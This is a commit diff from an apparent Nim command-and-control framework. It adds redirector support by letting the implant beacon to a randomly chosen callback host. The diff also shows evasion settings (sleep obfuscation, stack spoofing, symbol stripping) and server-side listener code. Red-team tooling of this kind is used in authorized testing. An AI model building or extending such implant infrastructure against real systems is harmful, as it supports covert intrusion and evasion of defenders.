Implemented callback host system to support HTTP redirectors
This commit is contained in:
@@ -27,8 +27,7 @@ proc deserializeConfiguration(config: string): AgentCtx =
|
||||
var ctx = AgentCtx(
|
||||
agentId: generateUUID(),
|
||||
listenerId: Uuid.toString(unpacker.getUint32()),
|
||||
ip: unpacker.getDataWithLengthPrefix(),
|
||||
port: int(unpacker.getUint32()),
|
||||
hosts: unpacker.getDataWithLengthPrefix(),
|
||||
sleep: int(unpacker.getUint32()),
|
||||
sleepTechnique: cast[SleepObfuscationTechnique](unpacker.getUint8()),
|
||||
spoofStack: cast[bool](unpacker.getUint8()),
|
||||
|
||||
@@ -48,7 +48,10 @@ proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
|
||||
|
||||
try:
|
||||
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
|
||||
let responseBody = waitFor client.getContent(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint[0..^2]}")
|
||||
# Select random callback host
|
||||
let hosts = ctx.hosts.split(";")
|
||||
let host = hosts[rand(hosts.len() - 1)]
|
||||
let responseBody = waitFor client.getContent(fmt"http://{host}/{endpoint[0..^2]}")
|
||||
|
||||
# Return if no tasks are queued
|
||||
if responseBody.len <= 0:
|
||||
@@ -94,7 +97,10 @@ proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
|
||||
|
||||
try:
|
||||
# Send post request to team server
|
||||
discard waitFor client.request(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint}", requestMethod, body)
|
||||
# Select random callback host
|
||||
let hosts = ctx.hosts.split(";")
|
||||
let host = hosts[rand(hosts.len() - 1)]
|
||||
discard waitFor client.request(fmt"http://{host}/{endpoint}", requestMethod, body)
|
||||
|
||||
except CatchableError as err:
|
||||
echo "[-] " & err.msg
|
||||
|
||||
@@ -1,10 +1,11 @@
|
||||
import strformat, os, times, system, base64
|
||||
import strformat, os, times, system, base64, random
|
||||
|
||||
import core/[http, context, sleepmask]
|
||||
import protocol/[task, result, heartbeat, registration]
|
||||
import ../common/[types, utils, crypto]
|
||||
|
||||
proc main() =
|
||||
randomize()
|
||||
|
||||
# Initialize agent context
|
||||
var ctx = AgentCtx.init()
|
||||
|
||||
@@ -3,6 +3,6 @@
|
||||
-d:release
|
||||
--opt:size
|
||||
--passL:"-s" # Strip symbols, such as sensitive function names
|
||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||
-d:MODULES="255"
|
||||
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
||||
@@ -179,72 +179,69 @@ proc addItem*(component: ConsoleComponent, itemType: LogType, data: string, time
|
||||
itemType: itemType,
|
||||
text: line
|
||||
))
|
||||
|
||||
#[
|
||||
Handling console commands
|
||||
]#
|
||||
proc displayHelp(component: ConsoleComponent) =
|
||||
for module in getModules(component.agent.modules):
|
||||
for cmd in module.commands:
|
||||
component.addItem(LOG_OUTPUT, fmt" * {cmd.name:<15}{cmd.description}")
|
||||
proc displayHelp(component: ConsoleComponent) =
|
||||
for module in getModules(component.agent.modules):
|
||||
for cmd in module.commands:
|
||||
component.addItem(LOG_OUTPUT, " * " & cmd.name.alignLeft(15) & cmd.description)
|
||||
component.addItem(LOG_OUTPUT, "")
|
||||
|
||||
proc displayCommandHelp(component: ConsoleComponent, command: Command) =
|
||||
proc displayCommandHelp(component: ConsoleComponent, command: Command) =
|
||||
var usage = command.name & " " & command.arguments.mapIt(
|
||||
if it.isRequired: fmt"<{it.name}>" else: fmt"[{it.name}]"
|
||||
if it.isRequired: "<" & it.name & ">" else: "[" & it.name & "]"
|
||||
).join(" ")
|
||||
|
||||
if command.example != "":
|
||||
usage &= "\nExample : " & command.example
|
||||
|
||||
component.addItem(LOG_OUTPUT, fmt"""
|
||||
{command.description}
|
||||
|
||||
Usage : {usage}
|
||||
""")
|
||||
|
||||
|
||||
component.addItem(LOG_OUTPUT, command.description)
|
||||
component.addItem(LOG_OUTPUT, "Usage : " & usage)
|
||||
|
||||
if command.example != "":
|
||||
component.addItem(LOG_OUTPUT, "Example : " & command.example)
|
||||
|
||||
if command.arguments.len > 0:
|
||||
component.addItem(LOG_OUTPUT, "Arguments:\n")
|
||||
|
||||
let header = @["Name", "Type", "Required", "Description"]
|
||||
component.addItem(LOG_OUTPUT, fmt" {header[0]:<15} {header[1]:<6} {header[2]:<8} {header[3]}")
|
||||
component.addItem(LOG_OUTPUT, fmt" {'-'.repeat(15)} {'-'.repeat(6)} {'-'.repeat(8)} {'-'.repeat(20)}")
|
||||
component.addItem(LOG_OUTPUT, "Arguments:")
|
||||
|
||||
for arg in command.arguments:
|
||||
let header = @["Name", "Type", "Required", "Description"]
|
||||
component.addItem(LOG_OUTPUT, " " & header[0].alignLeft(15) & " " & header[1].alignLeft(6) & " " & header[2].alignLeft(8) & " " & header[3])
|
||||
component.addItem(LOG_OUTPUT, " " & '-'.repeat(15) & " " & '-'.repeat(6) & " " & '-'.repeat(8) & " " & '-'.repeat(20))
|
||||
|
||||
for arg in command.arguments:
|
||||
let isRequired = if arg.isRequired: "YES" else: "NO"
|
||||
component.addItem(LOG_OUTPUT, fmt" * {arg.name:<15} {($arg.argumentType).toUpperAscii():<6} {isRequired:>8} {arg.description}")
|
||||
component.addItem(LOG_OUTPUT, " * " & arg.name.alignLeft(15) & " " & ($arg.argumentType).toUpperAscii().alignLeft(6) & " " & isRequired.align(8) & " " & arg.description)
|
||||
component.addItem(LOG_OUTPUT, "")
|
||||
|
||||
proc handleHelp(component: ConsoleComponent, parsed: seq[string]) =
|
||||
try:
|
||||
proc handleHelp(component: ConsoleComponent, parsed: seq[string]) =
|
||||
try:
|
||||
# Try parsing the first argument passed to 'help' as a command
|
||||
component.displayCommandHelp(getCommandByName(parsed[1]))
|
||||
except IndexDefect:
|
||||
# 'help' command is called without additional parameters
|
||||
component.displayHelp()
|
||||
except ValueError:
|
||||
except ValueError:
|
||||
# Command was not found
|
||||
component.addItem(LOG_ERROR, fmt"The command '{parsed[1]}' does not exist.")
|
||||
|
||||
proc handleAgentCommand*(component: ConsoleComponent, connection: WsConnection, input: string) =
|
||||
component.addItem(LOG_ERROR, "The command '" & parsed[1] & "' does not exist.")
|
||||
|
||||
proc handleAgentCommand*(component: ConsoleComponent, connection: WsConnection, input: string) =
|
||||
# Convert user input into sequence of string arguments
|
||||
let parsedArgs = parseInput(input)
|
||||
|
||||
# Handle 'help' command
|
||||
if parsedArgs[0] == "help":
|
||||
# Handle 'help' command
|
||||
if parsedArgs[0] == "help":
|
||||
component.handleHelp(parsedArgs)
|
||||
return
|
||||
|
||||
# Handle commands with actions on the agent
|
||||
try:
|
||||
try:
|
||||
let
|
||||
command = getCommandByName(parsedArgs[0])
|
||||
task = createTask(component.agent.agentId, component.agent.listenerId, command, parsedArgs[1..^1])
|
||||
|
||||
connection.sendAgentTask(component.agent.agentId, input, task)
|
||||
component.addItem(LOG_INFO, fmt"Tasked agent to {command.description.toLowerAscii()} ({Uuid.toString(task.taskId)})")
|
||||
component.addItem(LOG_INFO, "Tasked agent to " & command.description.toLowerAscii() & " (" & Uuid.toString(task.taskId) & ")")
|
||||
|
||||
except CatchableError:
|
||||
except CatchableError:
|
||||
component.addItem(LOG_ERROR, getCurrentExceptionMsg())
|
||||
|
||||
#[
|
||||
@@ -254,7 +251,7 @@ proc print(item: ConsoleItem) =
|
||||
|
||||
if item.timestamp > 0:
|
||||
let timestamp = item.timestamp.fromUnix().format("dd-MM-yyyy HH:mm:ss")
|
||||
igTextColored(vec4(0.6f, 0.6f, 0.6f, 1.0f), fmt"[{timestamp}]".cstring)
|
||||
igTextColored(vec4(0.6f, 0.6f, 0.6f, 1.0f), "[" & timestamp & "]")
|
||||
igSameLine(0.0f, 0.0f)
|
||||
|
||||
case item.itemType:
|
||||
|
||||
@@ -64,12 +64,13 @@ proc draw*(component: ListenersTableComponent, showComponent: ptr bool, connecti
|
||||
ImGui_TableFlags_SizingStretchSame.int32
|
||||
)
|
||||
|
||||
let cols: int32 = 4
|
||||
let cols: int32 = 5
|
||||
if igBeginTable("Listeners", cols, tableFlags, vec2(0.0f, 0.0f), 0.0f):
|
||||
|
||||
igTableSetupColumn("ListenerID", ImGuiTableColumnFlags_NoReorder.int32 or ImGuiTableColumnFlags_NoHide.int32, 0.0f, 0)
|
||||
igTableSetupColumn("Address", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||
igTableSetupColumn("Port", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||
igTableSetupColumn("Callback Hosts", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||
igTableSetupColumn("Protocol", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||
|
||||
igTableSetupScrollFreeze(0, 1)
|
||||
@@ -93,6 +94,9 @@ proc draw*(component: ListenersTableComponent, showComponent: ptr bool, connecti
|
||||
if igTableSetColumnIndex(2):
|
||||
igText($listener.port)
|
||||
if igTableSetColumnIndex(3):
|
||||
for host in listener.hosts.split(";"):
|
||||
igText(host)
|
||||
if igTableSetColumnIndex(4):
|
||||
igText($listener.protocol)
|
||||
|
||||
# Handle right-click context menu
|
||||
|
||||
@@ -7,22 +7,25 @@ const DEFAULT_PORT = 8080'u16
|
||||
|
||||
type
|
||||
ListenerModalComponent* = ref object of RootObj
|
||||
address: array[256, char]
|
||||
port: uint16
|
||||
callbackHosts: array[256 * 32, char]
|
||||
bindAddress: array[256, char]
|
||||
bindPort: uint16
|
||||
protocol: int32
|
||||
protocols: seq[string]
|
||||
|
||||
proc ListenerModal*(): ListenerModalComponent =
|
||||
result = new ListenerModalComponent
|
||||
zeroMem(addr result.address[0], 256)
|
||||
result.port = DEFAULT_PORT
|
||||
zeroMem(addr result.callbackHosts[0], 256 * 32)
|
||||
zeroMem(addr result.bindAddress[0], 256)
|
||||
result.bindPort = DEFAULT_PORT
|
||||
result.protocol = 0
|
||||
for p in Protocol.low .. Protocol.high:
|
||||
result.protocols.add($p)
|
||||
|
||||
proc resetModalValues(component: ListenerModalComponent) =
|
||||
zeroMem(addr component.address[0], 256)
|
||||
component.port = DEFAULT_PORT
|
||||
zeroMem(addr component.callbackHosts[0], 256 * 32)
|
||||
zeroMem(addr component.bindAddress[0], 256)
|
||||
component.bindPort = DEFAULT_PORT
|
||||
component.protocol = 0
|
||||
|
||||
proc draw*(component: ListenerModalComponent): UIListener =
|
||||
@@ -43,27 +46,40 @@ proc draw*(component: ListenerModalComponent): UIListener =
|
||||
defer: igEndPopup()
|
||||
|
||||
var availableSize: ImVec2
|
||||
igGetContentRegionAvail(addr availableSize)
|
||||
|
||||
# Listener address
|
||||
igText("Host: ")
|
||||
# Listener protocol/type dropdown selection
|
||||
igText("Protocol: ")
|
||||
igSameLine(0.0f, textSpacing)
|
||||
igGetContentRegionAvail(addr availableSize)
|
||||
igSetNextItemWidth(availableSize.x)
|
||||
igInputTextWithHint("##InputAddress", "127.0.0.1", addr component.address[0], 256, ImGui_InputTextFlags_CharsNoBlank.int32, nil, nil)
|
||||
|
||||
# Listener port
|
||||
let step: uint16 = 1
|
||||
igText("Port: ")
|
||||
igSameLine(0.0f, textSpacing)
|
||||
igSetNextItemWidth(availableSize.x)
|
||||
igInputScalar("##InputPort", ImGuiDataType_U16.int32, addr component.port, addr step, nil, "%hu", ImGui_InputTextFlags_CharsDecimal.int32)
|
||||
|
||||
# Listener protocol dropdown selection
|
||||
igText("Protocol: ")
|
||||
igSameLine(0.0f, textSpacing)
|
||||
igSetNextItemWidth(availableSize.x)
|
||||
igCombo_Str("##InputProtocol", addr component.protocol, (component.protocols.join("\0") & "\0").cstring , component.protocols.len().int32)
|
||||
|
||||
igDummy(vec2(0.0f, 10.0f))
|
||||
igSeparator()
|
||||
igDummy(vec2(0.0f, 10.0f))
|
||||
|
||||
# HTTP Listener settings
|
||||
if component.protocols[component.protocol] == $HTTP:
|
||||
# Callback hosts
|
||||
igText("Hosts (Callback): ")
|
||||
igSameLine(0.0f, textSpacing)
|
||||
igGetContentRegionAvail(addr availableSize)
|
||||
igSetNextItemWidth(availableSize.x)
|
||||
igInputTextMultiline("##InputCallbackHosts", addr component.callbackHosts[0], 256 * 32, vec2(0.0f, 3.0f * igGetTextLineHeightWithSpacing()), ImGui_InputTextFlags_CharsNoBlank.int32, nil, nil)
|
||||
|
||||
# Listener bindAddress
|
||||
igText("Host (Bind): ")
|
||||
igSameLine(0.0f, textSpacing)
|
||||
igGetContentRegionAvail(addr availableSize)
|
||||
igSetNextItemWidth(availableSize.x)
|
||||
igInputTextWithHint("##InputAddressBind", "0.0.0.0", addr component.bindAddress[0], 256, ImGui_InputTextFlags_CharsNoBlank.int32, nil, nil)
|
||||
|
||||
# Listener bindPort
|
||||
let step: uint16 = 1
|
||||
igText("Port (Bind): ")
|
||||
igSameLine(0.0f, textSpacing)
|
||||
igSetNextItemWidth(availableSize.x)
|
||||
igInputScalar("##InputPortBind", ImGuiDataType_U16.int32, addr component.bindPort, addr step, nil, "%hu", ImGui_InputTextFlags_CharsDecimal.int32)
|
||||
|
||||
igGetContentRegionAvail(addr availableSize)
|
||||
|
||||
@@ -72,13 +88,40 @@ proc draw*(component: ListenerModalComponent): UIListener =
|
||||
igDummy(vec2(0.0f, 10.0f))
|
||||
|
||||
# Only enabled the start button when valid values have been entered
|
||||
igBeginDisabled(($(addr component.address[0]) == "") or (component.port <= 0))
|
||||
igBeginDisabled(($(addr component.bindAddress[0]) == "") or (component.bindPort <= 0))
|
||||
|
||||
if igButton("Start", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
|
||||
if igButton("Start", vec2(availableSize.x * 0.5 - textSpacing * 0.5, 0.0f)):
|
||||
|
||||
# Process input values
|
||||
var hosts: string = ""
|
||||
let
|
||||
callbackHosts = $(addr component.callbackHosts[0])
|
||||
bindAddress = $(addr component.bindAddress[0])
|
||||
bindPort = int(component.bindPort)
|
||||
|
||||
if callbackHosts.isEmptyOrWhitespace():
|
||||
hosts &= bindAddress & ":" & $bindPort
|
||||
|
||||
else:
|
||||
for host in callbackHosts.splitLines():
|
||||
hosts &= ";"
|
||||
let hostParts = host.split(":")
|
||||
if hostParts.len() == 2:
|
||||
if not hostParts[1].isEmptyOrWhitespace():
|
||||
hosts &= hostParts[0] & ":" & hostParts[1]
|
||||
else:
|
||||
hosts &= hostParts[0] & ":" & $bindPort
|
||||
elif hostParts.len() == 1 and not hostParts[0].isEmptyOrWhitespace():
|
||||
hosts &= hostParts[0] & ":" & $bindPort
|
||||
|
||||
hosts.removePrefix(";")
|
||||
|
||||
# Return new listener object
|
||||
result = UIListener(
|
||||
listenerId: generateUUID(),
|
||||
address: $(addr component.address[0]),
|
||||
port: int(component.port),
|
||||
hosts: hosts,
|
||||
address: bindAddress,
|
||||
port: bindPort,
|
||||
protocol: cast[Protocol](component.protocol)
|
||||
)
|
||||
component.resetModalValues()
|
||||
|
||||
@@ -229,15 +229,17 @@ type
|
||||
Protocol* {.size: sizeof(uint8).} = enum
|
||||
HTTP = "http"
|
||||
|
||||
Listener* = ref object of RootObj
|
||||
Listener* = ref object
|
||||
server*: Server
|
||||
listenerId*: string
|
||||
hosts*: string
|
||||
address*: string
|
||||
port*: int
|
||||
protocol*: Protocol
|
||||
|
||||
UIListener* = ref object of RootObj
|
||||
UIListener* = ref object
|
||||
listenerId*: string
|
||||
hosts*: string
|
||||
address*: string
|
||||
port*: int
|
||||
protocol*: Protocol
|
||||
@@ -301,8 +303,7 @@ type
|
||||
AgentCtx* = ref object
|
||||
agentId*: string
|
||||
listenerId*: string
|
||||
ip*: string
|
||||
port*: int
|
||||
hosts*: string
|
||||
sleep*: int
|
||||
sleepTechnique*: SleepObfuscationTechnique
|
||||
spoofStack*: bool
|
||||
|
||||
@@ -16,8 +16,7 @@ proc serializeConfiguration(cq: Conquest, listener: Listener, sleep: int, sleepT
|
||||
|
||||
# Listener configuration
|
||||
packer.add(string.toUuid(listener.listenerId))
|
||||
packer.addDataWithLengthPrefix(string.toBytes(listener.address))
|
||||
packer.add(uint32(listener.port))
|
||||
packer.addDataWithLengthPrefix(string.toBytes(listener.hosts))
|
||||
|
||||
# Sleep settings
|
||||
packer.add(uint32(sleep))
|
||||
|
||||
@@ -13,7 +13,7 @@ proc serve(listener: Listener) {.thread.} =
|
||||
except Exception as err:
|
||||
discard
|
||||
|
||||
proc listenerStart*(cq: Conquest, name: string, host: string, port: int, protocol: Protocol) =
|
||||
proc listenerStart*(cq: Conquest, listenerId: string, hosts: string, address: string, port: int, protocol: Protocol) =
|
||||
try:
|
||||
# Create new listener
|
||||
var router: Router
|
||||
@@ -43,8 +43,9 @@ proc listenerStart*(cq: Conquest, name: string, host: string, port: int, protoco
|
||||
# Store listener in database
|
||||
var listener = Listener(
|
||||
server: server,
|
||||
listenerId: name,
|
||||
address: host,
|
||||
listenerId: listenerId,
|
||||
hosts: hosts,
|
||||
address: address,
|
||||
port: port,
|
||||
protocol: protocol
|
||||
)
|
||||
@@ -54,16 +55,16 @@ proc listenerStart*(cq: Conquest, name: string, host: string, port: int, protoco
|
||||
createThread(thread, serve, listener)
|
||||
server.waitUntilReady()
|
||||
|
||||
cq.listeners[name] = listener
|
||||
cq.threads[name] = thread
|
||||
cq.listeners[listenerId] = listener
|
||||
cq.threads[listenerId] = thread
|
||||
|
||||
if not cq.dbListenerExists(name.toUpperAscii):
|
||||
if not cq.dbListenerExists(listenerId.toUpperAscii):
|
||||
if not cq.dbStoreListener(listener):
|
||||
raise newException(CatchableError, "Failed to store listener in database.")
|
||||
|
||||
cq.success("Started listener", fgGreen, fmt" {name} ", resetStyle, fmt"on {host}:{$port}.")
|
||||
cq.success("Started listener", fgGreen, fmt" {listenerId} ", resetStyle, fmt"on {address}:{$port}.")
|
||||
cq.client.sendListener(listener)
|
||||
cq.client.sendEventlogItem(LOG_SUCCESS_SHORT, fmt"Started listener {name} on {host}:{$port}.")
|
||||
cq.client.sendEventlogItem(LOG_SUCCESS_SHORT, fmt"Started listener {listenerId} on {address}:{$port}.")
|
||||
|
||||
except CatchableError as err:
|
||||
cq.error("Failed to start listener: ", err.msg)
|
||||
|
||||
@@ -25,6 +25,7 @@ proc `%`*(agent: Agent): JsonNode =
|
||||
proc `%`*(listener: Listener): JsonNode =
|
||||
result = newJObject()
|
||||
result["listenerId"] = %listener.listenerId
|
||||
result["hosts"] = %listener.hosts
|
||||
result["address"] = %listener.address
|
||||
result["port"] = %listener.port
|
||||
result["protocol"] = %listener.protocol
|
||||
|
||||
@@ -16,6 +16,7 @@ proc dbInit*(cq: Conquest) =
|
||||
conquestDb.execScript("""
|
||||
CREATE TABLE listeners (
|
||||
listenerId TEXT PRIMARY KEY,
|
||||
hosts TEXT NOT NULL,
|
||||
address TEXT NOT NULL,
|
||||
port INTEGER NOT NULL UNIQUE,
|
||||
protocol TEXT NOT NULL CHECK (protocol IN ('http'))
|
||||
|
||||
@@ -107,6 +107,7 @@ proc dbGetAllAgentsByListener*(cq: Conquest, listenerName: string): seq[Agent] =
|
||||
sessionKey: sessionKey,
|
||||
tasks: @[] # Initialize empty tasks
|
||||
)
|
||||
agents.add(a)
|
||||
|
||||
conquestDb.close()
|
||||
except:
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import system, terminal, tiny_sqlite
|
||||
import strformat, strutils, system, terminal, tiny_sqlite
|
||||
|
||||
import ../core/logger
|
||||
import ../../common/types
|
||||
@@ -19,9 +19,9 @@ proc dbStoreListener*(cq: Conquest, listener: Listener): bool =
|
||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||
|
||||
conquestDb.exec("""
|
||||
INSERT INTO listeners (listenerId, address, port, protocol)
|
||||
VALUES (?, ?, ?, ?);
|
||||
""", listener.listenerId, listener.address, listener.port, $listener.protocol)
|
||||
INSERT INTO listeners (listenerId, hosts, address, port, protocol)
|
||||
VALUES (?, ?, ?, ?, ?);
|
||||
""", listener.listenerId, listener.hosts, listener.address, listener.port, $listener.protocol)
|
||||
|
||||
conquestDb.close()
|
||||
except:
|
||||
@@ -37,11 +37,12 @@ proc dbGetAllListeners*(cq: Conquest): seq[Listener] =
|
||||
try:
|
||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||
|
||||
for row in conquestDb.iterate("SELECT listenerId, address, port, protocol FROM listeners;"):
|
||||
let (listenerId, address, port, protocol) = row.unpack((string, string, int, string))
|
||||
for row in conquestDb.iterate("SELECT listenerId, hosts, address, port, protocol FROM listeners;"):
|
||||
let (listenerId, hosts, address, port, protocol) = row.unpack((string, string, string, int, string))
|
||||
|
||||
let l = Listener(
|
||||
listenerId: listenerId,
|
||||
hosts: hosts,
|
||||
address: address,
|
||||
port: port,
|
||||
protocol: stringToProtocol(protocol),
|
||||
|
||||
@@ -84,7 +84,7 @@ proc websocketHandler(ws: WebSocket, event: WebSocketEvent, message: Message) {.
|
||||
|
||||
of CLIENT_LISTENER_START:
|
||||
let listener = event.data.to(UIListener)
|
||||
cq.listenerStart(listener.listenerId, listener.address, listener.port, listener.protocol)
|
||||
cq.listenerStart(listener.listenerId, listener.hosts, listener.address, listener.port, listener.protocol)
|
||||
|
||||
of CLIENT_LISTENER_STOP:
|
||||
let listenerId = event.data["listenerId"].getStr()
|
||||
@@ -159,7 +159,7 @@ proc startServer*(profilePath: string) =
|
||||
|
||||
# Restart existing listeners
|
||||
for listenerId, listener in cq.listeners:
|
||||
cq.listenerStart(listenerId, listener.address, listener.port, listener.protocol)
|
||||
cq.listenerStart(listenerId, listener.hosts, listener.address, listener.port, listener.protocol)
|
||||
|
||||
# Start websocket server
|
||||
var router: Router
|
||||
|
||||
Reference in New Issue
Block a user